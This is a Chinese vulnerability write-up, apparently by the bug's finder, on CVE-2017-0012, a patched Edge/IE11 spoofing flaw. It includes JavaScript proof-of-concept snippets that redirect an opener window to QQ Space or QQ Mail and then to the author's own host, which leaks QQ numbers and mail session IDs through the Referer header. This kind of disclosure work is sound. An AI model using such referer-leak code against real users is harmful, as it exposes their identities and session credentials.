【漏洞分析】CVE-2017-0012:Microsoft Edge / IE 浏览器欺骗漏洞(昨日补丁)

阅读量201018

|

发布时间 : 2017-03-16 11:14:43

http://p2.qhimg.com/t01ca6daaa3e7058ed0.jpg

作者:xsseng

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

2017年3月14日,也就是两天前,微软补丁日修复了Microsoft Edge 中的多个漏洞。当用户访问攻击者精心构造的网页,最严重的漏洞可能允许远程代码执行。成功利用这些漏洞的攻击者可以控制受影响的系统。其中本篇文章为漏洞发现者对CVE-2017-0012 Microsoft 浏览器欺骗漏洞进行分析。

微软官方公告:https://technet.microsoft.com/zh-cn/library/security/MS17-007 

http://p8.qhimg.com/t01b14d17e7fcb30a0f.png

影响版本

Microsoft Edge

Internet Explorer 11


漏洞分析

parent.window.opener.location可以使打开他的窗口location跳转到其他的域名,在尝试使用跨域的时候,我首先发现了这个问题,以下是我发现问题时候的测试代码。

parent.window.opener.location = 'http://www.qq.com';

我通过360SRC的友情链接打开了360的appscan.360.cn,尝试在appscan网页的控制台输入这一段JS,可以看到JS注入后,360SRC的网页变成了腾讯首页。

mahua

而就在此时我发现appscan的控制台居然报错了,并且内容属于腾讯首页的资源报错。

mahua

如图,我们发现本来不属于appscan站点的错误,显示在了appscan的控制台,随后我在Chrome、Firefox、IE8中测试发现均不存在该问题。于是第一时间就想到了跨域,会不会存在跨域问题呢?所以很快写了一段JS尝试,希望能达到跨域执行js。

function func(){
parent.window.opener.location = 'http://www.qq.com';
}
if (parent.window.opener) {
parent.window.opener.location = 'javascript:alert("xsseng")';setTimeout(func,"3000");
};

mahua

浏览器阻止了我的操作,本来问题到这里就应该结束,但是后来发现了其他的问题,当我执行以下代码的时候,我们可以看到如下的HTTP请求中的REFERER。

mahua

我们通过appscan站点执行js,referer头却是security站点,这一点是违反了W3C的标准(所有浏览器在这里的处理方式都是appscan站点),为了探究问题是否只是存在于同一个子域下,我把测试站点换到了两个完全不同的域。


利用场景

我写了一段代码,来要求i.qq.com请求我的测试站点,以获得QQ空间的来源,其中的ref.php直接输出$_SERVER["HTTP_REFERER"]。

function func(){
parent.window.opener.location = 'http://www.inetsrc.com/ref.php';
}
if (parent.window.opener) {
parent.window.opener.location = 'http://i.qq.com';setTimeout(func,"3000");
};

mahua

会发现在测试站点中,不仅可以得到i.qq.com的请求,如果我们登陆QQ空间,那么i.qq.com会跳转到user.qzone.qq.com并且泄露了你的QQ号。那么问题不仅仅会造成更多的CSRF漏洞,如果用户登陆了邮箱,可以通过控制好setTimeout来获取可以导致用户信息泄露的参数,为此我搭建了https一个测试站点用来测试某邮箱系统,尝试读取SID。

function func(){
parent.window.opener.location = 'https://www.esqsm.com/index.php';
}
if (parent.window.opener) {
parent.window.opener.location = 'https://mail.qq.com';setTimeout(func,"3000");
};

mahua

由于QQ邮箱配置了SSL,所以接收来源的站点也需要配置SSL。这里由于登陆了QQ邮箱,访问mail.qq.com的时候会跳转到邮箱的首页,导致location的更换,referer就泄露了用户信息。


参考资料

https://www.symantec.com/connect/blogs/2017-3 

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0012 

http://www.securityfocus.com/bid/96085/info 

本文由xsseng原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/85708

安全客 - 有思想的安全新媒体

分享到:微信
+11赞
收藏
xsseng
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66